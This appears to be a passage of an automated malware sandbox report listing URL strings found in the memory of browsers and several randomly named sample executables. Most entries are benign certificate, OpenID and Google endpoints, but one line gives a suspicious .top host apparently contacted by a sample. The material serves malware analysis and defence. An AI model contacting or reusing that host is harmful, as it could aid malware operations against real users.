Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2992554099.000042140042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2992554099.000042140042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 3275f9fb1e.exe, 00000010.00000003.3051218491.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3164353692.000000000147F000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3116439607.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3162935939.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3079090418.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m(
Source: 3275f9fb1e.exe, 0000000A.00000003.2701205941.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: firefox.exe, 0000001B.00000003.2897002700.000001CEB55F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2895662939.000001CEB58E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2895721767.000001CEB5FE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3026277382.000001CEBD528000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2896130776.000001CEB58DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3026277382.000001CEBD57F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2897002700.000001CEB55DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: 7847e34378.exe, 7847e34378.exe, 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 7847e34378.exe, 0000000B.00000002.3298368413.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 00000024.00000003.3022555705.000002416933D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3030120305.000002416933D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3045726779.0000024168740000.00000004.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3050025051.000002416933D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000003.3022453215.000001CEBD898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
